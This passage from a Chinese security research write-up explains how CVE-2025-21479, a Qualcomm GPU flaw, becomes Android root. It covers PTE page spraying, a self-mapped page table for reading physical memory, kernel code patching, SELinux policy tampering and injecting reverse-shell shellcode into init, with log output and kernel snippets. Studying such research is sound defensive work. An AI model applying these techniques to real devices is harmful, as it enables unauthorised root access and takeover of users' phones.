id="直接内存dump的效率瓶颈"><a class="markdownIt-Anchor" href="#直接内存dump的效率瓶颈"></a> 直接内存dump的效率瓶颈</h3><p>然而，通过 <code>CP_MEM_TO_MEM</code>或是<code>CP_MEMCPY</code> 进行大规模数据转储存在显著性能瓶颈：</p><ol><li>规模限制：该指令一次操作最多拷贝一页（0x1000字节）的数据。若要传输更多数据，必须准备大量的专用物理页（ P4、P5、…）作为接收缓冲区，并进行多次迭代。</li><li>缓存同步开销：每次内存操作后，都必须同步CPU与GPU缓存，以确保数据一致性，这引入了巨大的性能开销。</li></ol><p>完整泄露一个50MB大小的内核镜像需要数万次这样的操作，效率捉襟见肘。</p><h3 id="策略转变-targeting-pte-页表"><a class="markdownIt-Anchor" href="#策略转变-targeting-pte-页表"></a> 策略转变： targeting PTE 页表</h3><p>鉴于直接dump效率低下，且此时尚未获取到内核虚拟地址布局的具体信息（如 <code>swapper_pg_dir</code>），我转变了利用策略：转而在物理内存中扫描寻找存有用户空间页表项（PTE）的页表页。</p><p>通过修改这些PTE项，可以重新映射用户态虚拟地址，从而绕过传统的内存读取指令，以更高的效率实现大规模数据泄露。这为后续更复杂的利用步骤提供了一个高效的数据通道。</p><p>关于PTE页表的攻击，Nicolas Wu在<a href="https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html">Dirty Pagetable</a>研究中做出了杰出贡献，这里不在过多展开。</p><p>文中提到，给PTE用的内存分配自<code>MIGRATE_UNMOVABLE</code> free_area，而用户的匿名页分配自<code>MIGRATE_MOVABLE</code> free_area，这两者会让相同的虚拟地址非常难以复用。不过现在的场景是希望系统复用相同的物理地址，实际测试发现这似乎并没有那么困难。</p><blockquote><p>“The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone. This makes heap spray difficult to succeed. The <a href="https://i.blackhat.com/USA-22/Thursday/US-22-WANG-Ret2page-The-Art-of-Exploiting-Use-After-Free-Vulnerabilities-in-the-Dedicated-Cache.pdf">research</a> presented by Yong Wang explained such difficulty very well.“</p></blockquote><p>假设一台拥有8GB物理内存的设备，在攻击初期剩余约6GB可用内存。在定位TTBR0页的步骤中，通过喷射匿名页已消耗约2GB（记为 M0​），系统仍剩余约4GB可用内存。可以通过检查<code>/proc/meminfo</code>来查看系统内存的实时状态。</p><p>操作流程如下：<br />0. <strong>预留PTE喷射内存</strong>：通过fork创建 N 个worker，每个worker通过mmap()预留大量（例如 <code>0xfe00</code> 个）2MB的虚拟地址空间区间，但暂不进行读写操作。此步骤仅保留虚拟地址范围，并未分配物理内存或创建PTE。<br />- 选择 <code>0xfe00</code> 是为了规避 <code>/proc/sys/vm/max_map_count</code>的系统限制（通常为 <code>0xFFFA</code>）。<br />- 每个2MB映射最终将对应一个PTE页，因此此预备步骤为后续最多喷射254MB的PTE页做好了地址空间准备。</p><ol><li><strong>耗尽Movable内存</strong>：分配大量匿名页（M1​，约3GB），将系统中剩余的空闲内存几乎耗尽。可通过监控 <code>/proc/meminfo</code> 中的 <code>MemAvailable</code> 字段确认。</li><li><strong>释放非关键内存</strong>：释放之前用于定位TTBR0页的非关键匿名页（M0’，约2GB）。此操作释放d的内存使 <code>MemAvailable</code> 回升约2GB。</li><li><strong>喷射PTE页</strong>：按顺序激活所有worker，通过<strong>读取</strong>每个2MB区间的首个字节来触发<strong>页错误</strong>。内核在处理错误时，会为该虚拟地址区间分配并初始化一个PTE页。持续此过程，直到系统可用内存再次耗尽（甚至开始使用交换分区），此时大量PTE页已被喷射到物理内存中。</li><li><strong>扫描定位PTE页</strong>：利用已有的物理内存读写能力，在已知的TTBR0页附近扫描具有PTE页特征（如特定格式的页表项）的物理页。测试证明，此方法能高效发现PTE页：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[+] main.c:1612 [STEP] searching ttbr0 page ....</span><br><span class="line">[*] main.c:349 guessing ttbr0 phyaddr: 0xa67e0000 ...</span><br><span class="line">[+] main.c:432 found ttbr0 phys: 0xa67e0000, virt: 0x7215e3d000</span><br><span class="line">[+] main.c:1617 [STEP] searching leak page ...</span><br><span class="line">[*] main.c:1622 guessing leak page 0xa67e1000 ...</span><br><span class="line">[+] main.c:484 found leak page, phys: 0xa67e1000, virt: 0x7215e3e000</span><br><span class="line">[+] main.c:1536 [STEP] searching pte page ...</span><br><span class="line">[*] main.c:906 search_pte_page dump 0xae7e0000:</span><br><span class="line">00000000 - 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ </span><br><span class="line">00000010 - 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ </span><br><span class="line">[*] main.c:906 search_pte_page dump 0xa77e0000:</span><br><span class="line">00000000 - C3 5F 98 AA 00 00 60 01  00 00 00 00 00 00 00 00  |  ._....`......... </span><br><span class="line">00000010 - 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ </span><br><span class="line">[+] main.c:912 found PTE page!!!</span><br></pre></td></tr></table></figure><p>一旦定位到PTE页，即可构建一个高性能的数据泄露引擎：</p><ol><li><strong>建立映射</strong>：修改该PTE页中的第一项，使其指向<strong>该PTE页自身的物理地址</strong>。这意味着，某个特定的用户态虚拟地址（由worker的mmap地址决定）将被映射到这个PTE页的物理内存。</li><li><strong>轮询检测</strong>：让所有worker检查其各自2MB区间的头8个字节。哪个worker读到了我们写入的特定魔数（即自指向的PTE值），就证明其虚拟地址空间映射到了目标PTE页。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[+] main.c:1568 [STEP] searching modified pte ...</span><br><span class="line">[+] main.c:1576 build evil pte: 0x600000a77e0f43</span><br><span class="line">[*] main.c:1579 searching ...</span><br><span class="line">[*] pte_spray.h:473 found pte check val:</span><br><span class="line">00000000 - 43 0F 7E A7 00 00 60 00  00 00 00 00 00 00 00 00  |  C.~...`......... </span><br><span class="line">00000010 - 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ </span><br><span class="line">[+] main.c:1585 found pte page at virt 0x1faa400000, worker 11</span><br></pre></td></tr></table></figure><ol start="3"><li><strong>大规模泄露</strong>：通过修改这个受控的PTE页，可以将其余PTE项指向任意目标物理地址。随后，直接读取对应的用户态虚拟地址即可一次性获取连续2MB的内核物理内存数据，效率相比单次0x1000字节的拷贝提升了数个数量级。</li></ol><p>通过构造恶意的PTE页表，现在可以一次读取连续的2MB内存，大大提升内核镜像信息泄露的速度。<br />也可以通过mmap文件并修改page属性来修改文件的page cache，正如PAN ZHENPENG 和 JHENG BING JHONG 在他们的<a href="https://web.archive.org/web/20241114073403/https://powerofcommunity.net/poc2024/Pan%20Zhenpeng%20&amp;%20Jheng%20Bing%20Jhong,%20GPUAF%20-%20Two%20ways%20of%20rooting%20All%20Qualcomm%20based%20Android%20phones.pdf">slide</a>中所做的那样，也可以通过改文件page cache以注入代码到init来泄露内核信息：</p><blockquote><p><strong>Obtain kernel offsets without firmwares - Combine together</strong>:</p><ol><li>Hijack init to chmod 0777 for dir /data/local/tmp, thus make root user can create/write the file under this dir (or setuid later to skip this)</li><li>Read target offsets info and copy contents into /data/local/tests dir</li><li>Transition our context to <code>u:r:shell:s0</code> and cp boot.img from /data/local/tests to /data/local/tmp</li><li>Untrusted_app can get the offsets from /data/local/tmp</li><li>(Optional) get offsets from boot.img</li></ol></blockquote><p>Example Demo:</p><p><img src="leak_demo.gif" alt="" /></p><h2 id="带着内核符号攻克内核"><a class="markdownIt-Anchor" href="#带着内核符号攻克内核"></a> 带着内核符号攻克内核</h2><p>在获取了内核信息并建立了稳定的物理内存读写原语后，实现本地权限提升便成为可能。具体的利用路径则取决于目标设备所启用的内核防护机制。</p><h3 id="策略一直接代码段修补针对默认防护"><a class="markdownIt-Anchor" href="#策略一直接代码段修补针对默认防护"></a> 策略一：直接代码段修补（针对默认防护）</h3><p>在缺乏额外强内核保护（如Samsung KNOX, Huawei HKIP）的标准安卓系统上，最直接的方法是篡改内核代码段（<code>__text</code>）本身。</p><p>思路如下：</p><ol><li><strong>重映射代码段为可写</strong>：通过修改GPU的TTBR0页表中对应内核代码段物理地址的<strong>页表项（PTE）</strong>，将其内存属性从“只读”更改为“可写”。这绕过了CPU侧的内存管理单元（MMU）对只读页的硬件保护。</li><li><strong>修补关键安全函数</strong>：直接在内核镜像中定位并修补关键的安全检查函数。常见的修补目标包括：<ul><li><strong>禁用SELinux</strong>：将 <code>selinux_state</code> 中的 <code>enforcing</code> 字段置0，或修改 <code>selinux_enforcing</code> 指针。</li><li><strong>提权系统调用</strong>：修补 <code>setresuid</code>、<code>setresgid</code>、<code>capset</code> 等函数的实现，使其跳过权限检查逻辑，直接成功返回。</li></ul></li><li><strong>触发提权</strong>：完成修补后，在用户态直接调用被篡改的系统调用，即可获得root权限。此方法直接、高效，但依赖于对代码段的写入能力。</li></ol><h3 id="策略二-data-only-attack"><a class="markdownIt-Anchor" href="#策略二-data-only-attack"></a> 策略二： data only attack</h3><p>在搭载了KNOX、HKIP或类似强内核完整性保护机制的设备（如三星、华为旗舰机型）上，上述方法通常失效。这些保护机制会监控内核代码段和只读数据段的完整性，任何修改都会触发系统重启。因此，利用策略必须转向攻击其保护范围的盲区。</p><p>在默认保护的系统上，我们可以通过修改GPU的TTBR0页表项中PTE项所描述的的页属性将内核代码段对应的内存重映射可写，进而修补内核镜像中关键的函数保护点。如关闭selinux，或是patch setresuid、setresgid、capset等关键安全函数，之后用户态便可直接调用这些修补后的syscall提权。</p><p>而在有额外保护的机型上（如三星、华为等）由于KNOX、HKIP等保护的存在，将代码段重映射为RW并不可行，仅能在内核data段和修改文件page cache中寻找提权的机会。</p><p>正如DARKNAY在《<a href="https://mp.weixin.qq.com/s?__biz=MzkyMjM5MTk3NQ==&amp;mid=2247485773&amp;idx=1&amp;sn=da3dd8be7ee3a6fabce17efcad7b91ed&amp;poc_token=HE2ppmij8iLV5w7sYoRwCQCnPTo_PPqJDLxD3uVd">「AVSS研报」iOS•Android•鸿蒙安全对抗能力初评报告-内核篇</a>》中所指出的：</p><blockquote><p>HarmonyOS 4.2版中HKIP机制与RKP机制保护能力相当，其保护了代码段、只读数据段、内核重要结构体等不被篡改。<strong>但是对于应用程序页表缺乏保护</strong>，攻击者可以通过修改应用程序页表任意读写未被HKIP保护的物理地址，该利用方法也被验证在Pixel、Samsung Galaxy上同样可行。</p><p>在HarmonyOS NEXT中，可以看到HKIP提供了多种保护机制，但是在实际研究过程中发现，除了代码段、只读数据段以及内核页表存在HKIP保护外，<strong>其余重要结构体并未被保护</strong>。</p><p>以下为部分HKIP机制与RKP机制中的防御能力覆盖范围比较：<br /><img src="demo_init.png" alt="" /></p></blockquote><p>这份评估揭示了此类防护体系的一个关键弱点：其保护重心在于内核自身的静态完整性，而对于<strong>动态的用户空间映射机制</strong>和<strong>策略数据结构</strong>的保护存在不足。这为高级利用提供了两条清晰的路径：</p><ol><li><strong>操纵应用程序页表</strong>：正如我们之前构建PTE攻击链所做的那样，HKIP/RKP通常不保护用户进程的页表。攻击者可以继续利用此原语，篡改用户态PTE来达成劫持用户态应用的目的</li><li><strong>篡改SELinux策略</strong>：SELinux的策略强制执行依赖于内核内存中的策略数据库。这些策略数据通常不被HKIP/RKP机制视为需要保护的“只读数据”或“代码”。因此，攻击者可以篡改数据以禁用selinux。</li></ol><h4 id="攻克selinux精准绕过强制策略"><a class="markdownIt-Anchor" href="#攻克selinux精准绕过强制策略"></a> 攻克SELinux：精准绕过强制策略</h4><p>在获取内核物理地址读写能力后，绕过SELinux成为提权路径上的关键一步。最直观的思路是修改 <code>selinux_state</code> 结构中的 <code>enforcing</code> 字段。然而，在目标设备上，内核编译时未启用 <code>CONFIG_SECURITY_SELINUX_DEVELOP</code> 选项，导致该字段不存在，此路径无效。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ adb shell zcat /proc/config.gz | grep CONFIG_SECURITY_SELINUX_DEVELOP</span><br><span class="line"># CONFIG_SECURITY_SELINUX_DEVELOP is not set</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_state</span> &#123;</span></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_SECURITY_SELINUX_DISABLE</span></span><br><span class="line"><span class="type">bool</span> disabled;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_SECURITY_SELINUX_DEVELOP</span></span><br><span class="line"><span class="type">bool</span> enforcing;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_SECURITY_SELINUX_DEVELOP</span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">bool</span> <span class="title function_">enforcing_enabled</span><span class="params">(<span class="keyword">struct</span> selinux_state *state)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> READ_ONCE(state-&gt;enforcing);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">bool</span> <span class="title function_">enforcing_enabled</span><span class="params">(<span class="keyword">struct</span> selinux_state *state)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><h5 id="策略一禁用selinux初始化状态已弃用"><a class="markdownIt-Anchor" href="#策略一禁用selinux初始化状态已弃用"></a> <strong>策略一：禁用SELinux初始化状态（已弃用）</strong></h5><p>深入分析SELinux的权限检查函数 <code>security_compute_av</code>，发现其存在一个初始化状态检查：若 <code>selinux_initialized(state)</code> 返回 <code>false</code>，则直接跳转至 <code>allow</code> 标签，授予所有权限。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">avc_has_perm</span><br><span class="line">  avc_has_perm_noaudit</span><br><span class="line">    avc_compute_av</span><br><span class="line">      security_compute_av</span><br><span class="line"></span><br><span class="line"><span class="comment">// --------------</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">security_compute_av</span><span class="params">(<span class="keyword">struct</span> selinux_state *state, ...)</span></span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> (!selinux_initialized(state))</span><br><span class="line"><span class="keyword">goto</span> allow;</span><br><span class="line">...</span><br><span class="line">allow:</span><br><span class="line">avd-&gt;allowed = <span class="number">0xffffffff</span>; <span class="comment">// 允许所有操作</span></span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">bool</span> <span class="title function_">selinux_initialized</span><span class="params">(<span class="type">const</span> <span class="keyword">struct</span> selinux_state *state)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> smp_load_acquire(&amp;state-&gt;initialized); <span class="comment">// 读取 initialized 字段</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此，将 <code>selinux_state-&gt;initialized</code> 字段修改为 <code>0</code> 即可全局禁用SELinux。然而经测试，此举会导致系统出现一些副作用，故弃用此方案。</p><h5 id="策略二操纵策略库实现恒允访"><a class="markdownIt-Anchor" href="#策略二操纵策略库实现恒允访"></a> 策略二：操纵策略库实现恒允访</h5><p>我们转而采用一种更精准、副作用更小的方案。其核心在于利用 <code>security_compute_av</code> 函数中另一处逻辑，通过控制策略数据使所有权限检查恒返回允许。</p><p>关键逻辑位于 <code>unmap_class()</code> 调用之后：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">security_compute_av</span><span class="params">(<span class="keyword">struct</span> selinux_state *state,</span></span><br><span class="line"><span class="params"> u32 ssid,</span></span><br><span class="line"><span class="params"> u32 tsid,</span></span><br><span class="line"><span class="params"> u16 orig_tclass,</span></span><br><span class="line"><span class="params"> <span class="keyword">struct</span> av_decision *avd,</span></span><br><span class="line"><span class="params"> <span class="keyword">struct</span> extended_perms *xperms)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_policy</span> *<span class="title">policy</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">policydb</span> *<span class="title">policydb</span>;</span></span><br><span class="line">...</span><br><span class="line">policy = rcu_dereference(state-&gt;policy);</span><br><span class="line">policydb = &amp;policy-&gt;policydb;</span><br><span class="line">...</span><br><span class="line">tclass = unmap_class(&amp;policy-&gt;<span class="built_in">map</span>, orig_tclass);</span><br><span class="line"><span class="keyword">if</span> (unlikely(orig_tclass &amp;&amp; !tclass)) &#123; <span class="comment">// 条件A：orig_tclass有效但tclass为0</span></span><br><span class="line"><span class="keyword">if</span> (policydb-&gt;allow_unknown) <span class="comment">// 条件B：策略允许未知</span></span><br><span class="line"><span class="keyword">goto</span> allow; <span class="comment">// selinux bypass</span></span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">allow:</span><br><span class="line">avd-&gt;allowed = <span class="number">0xffffffff</span>;</span><br><span class="line"><span class="keyword">goto</span> out;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> u16 <span class="title function_">unmap_class</span><span class="params">(<span class="keyword">struct</span> selinux_map *<span class="built_in">map</span>, u16 tclass)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (tclass &lt; <span class="built_in">map</span>-&gt;size)</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">map</span>-&gt;mapping[tclass].value;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> tclass;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>该代码段的逻辑是：如果一个<code>orig_tclass</code>在经过 <code>unmap_class()</code> 后结果为0，<strong>且</strong>系统策略配置为允许未知对象类（<code>policydb-&gt;allow_unknown == true</code>），则授予全部权限。</p><p>这为实现绕过提供了两条清晰的修改路径：</p><ol><li><strong>启用未知类允许</strong>：修改<code>selinux_state-&gt;policy-&gt;policydb-&gt;allow_unknown</code>为<code>1</code>（true）。</li><li><strong>破坏类映射表</strong>：修改 <code>selinux_state-&gt;policy-&gt;map-&gt;mapping</code> 指向的映射数组，确保对于任何有效的 <code>orig_tclass</code>，函数 <code>unmap_class</code> 都返回 <code>0</code>。这可以通过篡改 <code>selinux_mapping</code> 结构中的 <code>value</code> 字段实现。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Mapping for a single class */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_mapping</span> &#123;</span></span><br><span class="line">u16 value; <span class="comment">/* policy value for class */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> num_perms; <span class="comment">/* number of permissions in class */</span></span><br><span class="line">u32 perms[<span class="keyword">sizeof</span>(u32) * <span class="number">8</span>]; <span class="comment">/* policy values for permissions */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Map for all of the classes, with array size */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_map</span> &#123;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_mapping</span> *<span class="title">mapping</span>;</span> <span class="comment">/* indexed by class */</span></span><br><span class="line">u16 size; <span class="comment">/* array size of mapping */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>此方法仅篡改策略数据，不干扰SELinux的状态机，有效避免了直接禁用初始化所带来的副作用。</p><h4 id="向-init-注入-reverse-shell-shellcode"><a class="markdownIt-Anchor" href="#向-init-注入-reverse-shell-shellcode"></a> 向 init 注入 reverse shell shellcode</h4><p>将init用到的共享库用只读方式映射到内存空间，控制PTE修改页表项为读写即可修改文件page cache，从而劫持init的执行流。由于共享库会被很多进程使用，而修改page cache后的变化会应用到所有进程，shellcode需要额外判断一下调用者是否为init，并在fork后执行反弹shell代码。</p><p>example：<br /><img src="d9f36c1e5670a719424f1254efec2c4c.png" alt="" /></p><p>最后是完整提权演示：</p><p><img src="exploit_demo.gif" alt="" /></p><h2 id="总结与思考"><a class="markdownIt-Anchor" href="#总结与思考"></a> 总结与思考</h2><p>CVE-2025-21479从GPU固件的逻辑缺陷到最终的本地提权，攻击者需要精准地操控内存分配、利用硬件特性绕过软件保护、并深刻理解内核安全子系统的内部机理。这一过程充分展现了现代漏洞利用技术的高度复杂性和精巧性。</p><p>然而，正如我们所看到的，即便拥有如此强大的原始能力——<strong>任意物理地址读写</strong>——在实际攻击中仍面临重重障碍：需要对抗内存分配器的隔离策略，需要爆破或扫描以定位关键数据，需要精心设计才能稳定地篡改策略而非导致系统崩溃。这一切都清晰地指向一个结论：<strong>当今安卓系统的防御体系已经日趋成熟，攻守双方的力量对比正在发生根本性的转变</strong>。防御方通过多年的积累，构建起一个由<strong>硬件隔离（如TrustZone）、内核完整性保护（如RKP/HKIP）、运行时监控（如SELinux）、和沙箱隔离</strong>组成的多层次、纵深化防御体系。攻击者往往需要连续突破多个互不信任的安全层，其门槛和不确定性已被极大地提高。一个漏洞，即便强如CVE-2025-21479，也更多是作为一把开启后续攻击链的“钥匙”，而并非一锤定音的终极武器。</p><p>CVE-2025-21479既是对过去攻击技术的总结，也是对未来防御的启示。它证明，尽管攻击技术依然在向更高精尖的方向发展，但防御体系已经构筑了足够坚固的壁垒，使得攻击的成本和代价变得极其高昂。安全不再是单点技术的比拼，而是整个系统生态、供应链响应速度、以及攻防思维理解的全面竞争。移动安全进入了一个新的阶段，在这个阶段中，<strong>防御者正逐渐夺回主导权，但丝毫的松懈都可能让局势逆转</strong>。这场永恒的博弈，将继续驱动着技术创新，迈向更安全的数字未来。</p><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><ul><li><a href="https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html">https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html</a></li><li><a href="https://github.com/zhuowei/cheese">https://github.com/zhuowei/cheese</a></li><li><a href="https://web.archive.org/web/20241114073403/https://powerofcommunity.net/poc2024/Pan%20Zhenpeng%20&amp;%20Jheng%20Bing%20Jhong,%20GPUAF%20-%20Two%20ways%20of%20rooting%20All%20Qualcomm%20based%20Android%20phones.pdf">https://web.archive.org/web/20241114073403/https://powerofcommunity.net/poc2024/Pan%20Zhenpeng%20&amp;%20Jheng%20Bing%20Jhong,%20GPUAF%20-%20Two%20ways%20of%20rooting%20All%20Qualcomm%20based%20Android%20phones.pdf</a></li><li><a href="https://i.blackhat.com/BH-US-24/Presentations/REVISED02-US24-Gong-The-Way-to-Android-Root-Wednesday.pdf">https://i.blackhat.com/BH-US-24/Presentations/REVISED02-US24-Gong-The-Way-to-Android-Root-Wednesday.pdf</a></li><li><a href="https://i.blackhat.com/USA-20/Thursday/us-20-Gong-TiYunZong-An-Exploit-Chain-To-Remotely-Root-Modern-Android-Devices.pdf">https://i.blackhat.com/USA-20/Thursday/us-20-Gong-TiYunZong-An-Exploit-Chain-To-Remotely-Root-Modern-Android-Devices.pdf</a></li><li><a href="https://i.blackhat.com/USA-22/Thursday/US-22-WANG-Ret2page-The-Art-of-Exploiting-Use-After-Free-Vulnerabilities-in-the-Dedicated-Cache.pdf">https://i.blackhat.com/USA-22/Thursday/US-22-WANG-Ret2page-The-Art-of-Exploiting-Use-After-Free-Vulnerabilities-in-the-Dedicated-Cache.pdf</a></li><li><a href="https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html">https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html</a></li><li><a href="https://github.com/a13xp0p0v/kernel-hack-drill">https://github.com/a13xp0p0v/kernel-hack-drill</a></li><li><a href="https://mp.weixin.qq.com/s?__biz=MzkyMjM5MTk3NQ==&amp;mid=2247485773&amp;idx=1&amp;sn=da3dd8be7ee3a6fabce17efcad7b91ed&amp;poc_token=HE2ppmij8iLV5w7sYoRwCQCnPTo_PPqJDLxD3uVd">https://mp.weixin.qq.com/s?__biz=MzkyMjM5MTk3NQ==&amp;mid=2247485773&amp;idx=1&amp;sn=da3dd8be7ee3a6fabce17efcad7b91ed&amp;poc_token=HE2ppmij8iLV5w7sYoRwCQCnPTo_PPqJDLxD3uVd</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#背景&quot;&gt;&lt;/a&gt; 背景&lt;/h2&gt;
&lt;p&gt;在大多数用户的印象里，GPU（图形处理器）是游戏流畅、视频绚丽的保障，是沉浸在虚拟世界背后的无名英雄。然而，在现代移动计算架构，尤其是在安卓生态中，GPU的角色早已超越了“图形画师”的范畴。它通过诸如OpenCL、Vulkan等通用计算框架，深度参与到机器学习、图像处理、甚至安全计算等关键任务中，成为了SoC（系统级芯片）中与CPU平起平坐的“第二颗大脑”。&lt;/p&gt;
&lt;p&gt;正是这种权限与复杂性的与日俱增，使其成为了安全攻防的新前线。传统的安全模型高度聚焦于加固CPU和操作系统内核，却往往忽视了GPU这个拥有独立驱动、固件（Firmware）和强大DMA（直接内存访问）能力的“特权邻居”。一旦这个邻居的“家门”被撬开，攻击者获得的将是一个绕过所有主流内核防护机制的绝佳跳板。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Netfilter Tunnel 之殇：CVE-2025-22056</title>
    <link href="https://dawnslab.jd.com/CVE-2025-22056/"/>
    <id>https://dawnslab.jd.com/CVE-2025-22056/</id>
    <published>2025-05-28T05:13:00.000Z</published>
    <updated>2025-08-21T06:15:23.750Z</updated>
    
